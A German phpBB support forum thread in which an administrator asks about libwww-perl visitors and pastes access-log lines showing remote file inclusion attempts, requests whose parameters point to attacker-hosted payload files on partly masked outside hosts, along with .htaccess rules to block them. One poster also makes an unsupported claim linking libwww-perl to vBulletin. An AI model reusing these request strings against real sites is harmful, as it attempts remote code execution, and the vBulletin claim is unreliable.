libwww-perl = kritischer Zugriff?

Fragen zur Bedienung von phpBB 3.0.x, Probleme bei der Benutzung und alle weiteren Fragen inkl. Update auf die neuste phpBB 3.0.14 Version
Forumsregeln
phpBB 3.0 hat das Ende seiner Lebenszeit überschritten
phpBB 3.0 wird nicht mehr aktiv unterstützt. Insbesondere werden - auch bei Sicherheitslücken - keine Patches mehr bereitgestellt. Der Einsatz von phpBB 3.0 erfolgt daher auf eigene Gefahr. Wir empfehlen einen Umstieg auf die neuste phpBB-Version, welches aktiv weiterentwickelt wird und für welches regelmäßig Updates zur Verfügung gestellt werden.
uwe.ha
Mitglied
Beiträge: 838
Registriert: 18.05.2001 02:00

libwww-perl = kritischer Zugriff?

Beitrag von uwe.ha »

Hallo,

eben ist mir ein Gast aufgefallen:

Gast
IP: 74.52.139.226 » Whois
libwww-perl/5.810

Habe gelesen, dass dieses libwww etwas kritisches sein soll und habe daraufhin wie von larsneo in Beitrag http://www.phpbb.de/viewtopic.php?p=880235#880235 empfohlen folgenden Eintrag in meine root/.htaccess gemacht:
larsneo hat geschrieben:du kannst recht einfach libwww (und das pendant lwp) via .htaccess aussperren ;-)

Code: Alles auswählen

# prevent perl user agent
RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^lwp
RewriteRule ^.*$ http://127.0.0.1/ [R,L]
Ist der libww-Zugriff immer noch kritisch?
Und ist diese o.g. Maßnahme immer noch korrekt und ausreichend?

Danke!
Uwe
Benutzeravatar
igorw
Mitglied
Beiträge: 107
Registriert: 02.08.2008 13:04
Wohnort: Winterthur

Beitrag von igorw »

Ich seh nicht wirklich ein was an "libwww-perl" an sich gefährlich sein sollte. lwp ist eine library für http verbindungen. Damit kann man bots schreiben, aber bots sind nicht automatisch böse.

Ausserdem kann man den user agent ("libwww-perl/5.810") so leicht ändern dass es sich nicht wirklich lohnt da etwas zu machen. Meines erachtens jedenfalls nicht.
uwe.ha
Mitglied
Beiträge: 838
Registriert: 18.05.2001 02:00

Beitrag von uwe.ha »

eviL<3 hat geschrieben:Ich seh nicht wirklich ein was an "libwww-perl" an sich gefährlich sein sollte.
"an sich" vielleicht nichts, aber was man damit anstellen kann. Zumindest sehen die Abfragen komisch aus:

Code: Alles auswählen

GET /phpBB/viewtopic.php?f=54&p=83338/index.php?Language=http://xxx.xxx.pl/logo/sistem.txt?? HTTP/1.1	200
GET /index.php?Language=http://xxx.xxx.pl/logo/sistem.txt?? HTTP/1.1	404
GET /phpBB/index.php?Language=http://xxx.xxx.pl/logo/sistem.txt?? HTTP/1.1	200
GET /index.php?inhalt=http://xxx.xxx.com/links/id??%0D?? HTTP/1.1	404
GET /phpBB/viewtopic.php?t=8322/index.php?inhalt=http://xxx.xxx.com/links/id??%0D?? HTTP/1.1	200
GET /phpBB/index.php?inhalt=http://xxx.xxx.com/links/id??%0D?? HTTP/1.1	200
GET /phpBB/viewtopic.php?t=8322/index.php?inhalt=http://xxx.xxx.org/dhwm/alb2.txt? HTTP/1.1	200
GET /index.php?inhalt=http://xxx.xxx.org/dhwm/alb2.txt? HTTP/1.1	404
GET /phpBB/index.php?inhalt=http://xxx.xxx.org/dhwm/alb2.txt? HTTP/1.1	200
GET /head.php?adresa=http://xxx.xxx.com.br/lazer/fatalzinh0/id3.txt??? HTTP/1.1	404
GET /phpBB/head.php?adresa=http://xxx.xxx.br/lazer/fatalzinh0/id3.txt??? HTTP/1.1	404
GET /phpBB/viewtopic.php?f=24&t=7321/head.php?adresa=http://xxx.xxx.br/lazer/fatalzinh0/id3.txt??? HTTP/1.1	200
GET /phpBB/viewtopic.php?t=7001//phpopenchat/contrib/yabbse/poc.php?sourcedir=http://xxx.xxx.com/bbs//mraneti.txt???? HTTP/1.1	200
GET //phpopenchat/contrib/yabbse/poc.php?sourcedir=http://xxx.xxx.com/bbs//mraneti.txt???? HTTP/1.1	404
GET /phpBB//phpopenchat/contrib/yabbse/poc.php?sourcedir=http://xxx.xxx.com/bbs//mraneti.txt???? HTTP/1.1	404
GET /phpBB/main.php?page=http://xxx.xxx.de/cache/idd.txt??? HTTP/1.1	404
GET /main.php?page=http://xxx.xxx.de/cache/idd.txt??? HTTP/1.1	404
GET /phpBB/viewtopic.php?t=5589%20/main.php?page=http://xxx.xxx.de/cache/idd.txt??? HTTP/1.1	200
GET /phpBB/viewtopic.php?f=29&t=7488/?_SERVER[DOCUMENT_ROOT]=http://xxx.xxx.com/ips.txt? HTTP/1.1	200
GET /?_SERVER[DOCUMENT_ROOT]=http://xxx.xxx.com/ips.txt? HTTP/1.1	200
GET /phpBB/?_SERVER[DOCUMENT_ROOT]=http://xxx.xxx.com/ips.txt? HTTP/1.1	200
GET /phpBB/viewtopic.php?f=29&t=7488/index.php?page=http://xxx.xxx.com/ips.txt? HTTP/1.1	200
GET /index.php?page=http://xxx.xxx.com/ips.txt? HTTP/1.1	404
GET /phpBB/index.php?page=http://xxx.xxx.com/ips.txt? HTTP/1.1	200
GET /phpBB/viewforum.php?f=84//includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	200
GET //includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	404
GET /phpBB//includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	404
GET /phpBB/viewforum.php?f=84//includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	200
GET /phpBB/viewforum.php?f=84//includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	200
GET //includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	404
GET //includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	404
GET /phpBB//includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	404
GET /phpBB//includes/openid/Auth/OpenID/BBStore.php?openid_root_path=http://xxx.xxx.es/aplicaciones/contratacion2/mbtPdfAsm/out/deflate.o.LCK??? HTTP/1.1	404
Edit: Habe die url's mal etwas ausge-x-t ;-)

Was ist das; wird da mit einem Script nach Lücken gesucht?
Zuletzt geändert von uwe.ha am 13.08.2008 17:02, insgesamt 2-mal geändert.
Uwe
Benutzeravatar
markus giersch
Mitglied
Beiträge: 674
Registriert: 03.04.2008 22:06
Wohnort: Frankfurt am Main
Kontaktdaten:

Beitrag von markus giersch »

BTW wwwlib-perl ist etwas was mit v-Bulletin zu tuen hat.
wwwlib-perl wurde mal von Hackers.com (die heisen heute auch wieder anders) übernommen wobei Hackers.com von vBulletin geschluckt wurde. Mittlerweile nennt sich das auch powered by vBulletin.
Versteht sich ja von selber das vBulletin höchstes interesse daran hat das phpbb den Bach runter geht.
Und richtig Aussperren ist schwer. Damals bei phpbb3.de hamme es versucht - hat auch geklappt - aber nur für eine Woche, dann kamen die wieder. Aber richtig was kaputt gemacht haben die nie, "nur" alles ausgelesen. (Das ist mein Wissenstand von vor 1 Jahr).
phpbb wird noch mindestens 40 Jahre existieren!!! Wo? Hier: D-A-F | Demokratische Armee Fraktion! Darum brauchen wir euch noch min. 40 Jahre!!!
Benutzeravatar
larsneo
Mitglied
Beiträge: 2622
Registriert: 07.03.2002 15:23
Wohnort: schwäbisch gmünd
Kontaktdaten:

Beitrag von larsneo »

uwe.ha hat geschrieben:Ist der libww-Zugriff immer noch kritisch?
sagen wir es einmal so - in den vergangenen jahren ist mir noch nie ein zugriff über die typischen standard-perl useragents begegnet, den es wirklich gebraucht hätte. es ist für mich nachwievor erstaunlich, wieviel traffic man sich mit einem entsprechenden block sparen kann - auch wenn man (als angreifer) den UA in perl recht einfach selbst definieren könnte, sind wohl scheinbar viele einfach zu faul dazu...
markus giersch hat geschrieben:BTW wwwlib-perl ist etwas was mit v-Bulletin zu tuen hat.
das ist ja mal eine ganze interessante theorie - hast du dafür vielleicht irgendwelche quellen (ich hatte das immer hierfür gehalten) ?
gruesse aus dem wilden sueden
larsneo
..::[krapohl.net]::..
uwe.ha
Mitglied
Beiträge: 838
Registriert: 18.05.2001 02:00

Beitrag von uwe.ha »

Hallo larsneo,
larsneo hat geschrieben: es ist für mich nachwievor erstaunlich, wieviel traffic man sich mit einem entsprechenden block sparen kann
Also ist dein Vorschlag für die htaccess immer noch sinnvoll und/oder aktuell, richtig?

Ich habe auch diesen libwww mal als Spider/Robot hinzugefügt und sehe nun, dass "er" eben wieder da war (kann das - trotz des htaccess-Eintrages - sein?). Macht es Sinn diesen libwww unter "Bots verwalten" zu Deaktivieren, bzw. was würde das bewirken?

Und ws ist mit den o.g. Log-Einträgen; sind die kritisch?
Uwe
Benutzeravatar
larsneo
Mitglied
Beiträge: 2622
Registriert: 07.03.2002 15:23
Wohnort: schwäbisch gmünd
Kontaktdaten:

Beitrag von larsneo »

Also ist dein Vorschlag für die htaccess immer noch sinnvoll und/oder aktuell, richtig?
wie gesagt - es ist kein garant für sicherheit sondern spart nur traffic (und blockt ein paar scriptkiddies)
Und ws ist mit den o.g. Log-Einträgen; sind die kritisch?
beim schnellen drüberschauen scheinen die logeinträge nur den versuch einer remote code execution anzuzeigen (das erfolgt inzwischen in aller regel 'blind' also ohne direkten bezug zu einer sicherheitslücke.

hier könnte ggfs. folgendes rewriting abhilfe schaffen:

Code: Alles auswählen

RewriteEngine On
RewriteCond %{QUERY_STRING}   (.*)=http(.*)   [NC,OR]
RewriteCond %{QUERY_STRING}   (.*)urlx=(.*)   [NC]
RewriteRule ^(.*)  - [F]
allerdings verwende ich dafür modsecurity-rules bzw. einen entsprechend konfigurierten webserver, hier gilt es also zu testen ob keine funktionalitäten der seite eingeschränkt werden.
gruesse aus dem wilden sueden
larsneo
..::[krapohl.net]::..
uwe.ha
Mitglied
Beiträge: 838
Registriert: 18.05.2001 02:00

Beitrag von uwe.ha »

Hallo larsneo,

du hattest mir vor ein paar Wochen schon bei der Konfiguration meines Servers geholfen; ich habe:
- MySQL 5.0.51a-community-log
- Apache/2.2.8
- PHP Version 5.2.6

- suhosin ... ist auch drin
- mod_security ... steht im ACP bei den loaded moduls drinnen
- pecl:apc ... wurde installiert, "da aber bekannte Konkurrenzen zum Zend vorhanden sind wurde Zend deinstalliert" schreibt mein Provider.
(Im ACP ist aber noch das "Zend Engine 2"-Logo mit dem text: "This program makes use of the Zend Scripting Language Engine:
Zend Engine v2.2.0")
- register_globals OFF
- allow_url_fopen OFF
- allow_url_include OFF

Reicht das, oder sollte ich noch was (das zuletzt vorgeschlagene rewriting) machen?

DANKE!
Uwe
Benutzeravatar
larsneo
Mitglied
Beiträge: 2622
Registriert: 07.03.2002 15:23
Wohnort: schwäbisch gmünd
Kontaktdaten:

Beitrag von larsneo »

- allow_url_fopen OFF
- allow_url_include OFF
damit erledigt sich das letzte rewrite, eine externe code-einbindung ist auf deinem server nicht möglich ;-)
gruesse aus dem wilden sueden
larsneo
..::[krapohl.net]::..
uwe.ha
Mitglied
Beiträge: 838
Registriert: 18.05.2001 02:00

Beitrag von uwe.ha »

Dann hat deine Hilfe bei der Serverkonfiguration ja schon Früchte getragen :D
DANKE!
Uwe
Antworten

Zurück zu „[3.0.x] Administration, Benutzung und Betrieb“